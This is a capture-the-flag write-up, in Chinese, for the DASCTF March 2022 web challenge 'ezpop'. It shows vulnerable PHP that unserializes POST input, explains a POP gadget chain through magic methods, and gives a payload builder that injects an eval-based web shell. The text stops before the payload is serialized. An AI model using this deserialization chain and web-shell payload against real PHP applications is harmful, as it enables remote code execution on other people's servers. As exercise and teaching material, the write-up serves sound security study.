DASCTF三月赛

DASCTF2022.3部分题目

Web

ezpop

题目源码如下

<?php

class crow
{
   
    public $v1;
    public $v2;

    function eval() {
   
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
   
        $this->v1->world();
    }
}

class fin
{
   
    public $f1;

    public function __destruct()
    {
   
        echo $this->f1 . '114514';
    }

    public function run()
    {
   
        ($this->f1)();
    }

    public function __call($a, $b)
    {
   
        echo $this->f1->get_flag();
    }

}

class what
{
   
    public $a;

    public function __toString()
    {
   
        $this->a->run();
        return 'hello';
    }
}
class mix
{
   
    public $m1;

    public function run()
    {
   
        ($this->m1)();
    }

    public function get_flag()
    {
   
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
   
    unserialize($_POST['cmd']);
} else {
   
    highlight_file(__FILE__);
}

将传入的参数cmd用反序列化函数进行处理，如果传入的对象是由fin类生成那么调用fin里的destuct()。函数中的echo输出流可控，尝试调用what类的toString方法，逐渐构造出pop链。

fin.__destruct => what.__toString => fin.run => crow.__invoke => fin.__call() =>mix.get_flag()

这里虽然fin类当中只有一个变量，但可以声明多个对象指向该类，从而实现利用链的构造。

payload如下

<?php
class crow
{
   
    public $v1;
}
class fin
{
   
    public $f1;
}
class what
{
   
    public $a;
}
class mix
{
   
    public $m1='?><?=eval($_POST[1]);';
}
$fin = new fin();
$b = new what();
$fin2 = new fin();
$c = new crow();
$fin3 = new fin();
$d = new mix();

$fin->f1 = $b;
$b->a = $fin2;
$fin2->f1 = $c;
$c->v1 = $fin3;
$fin3->f1 = $d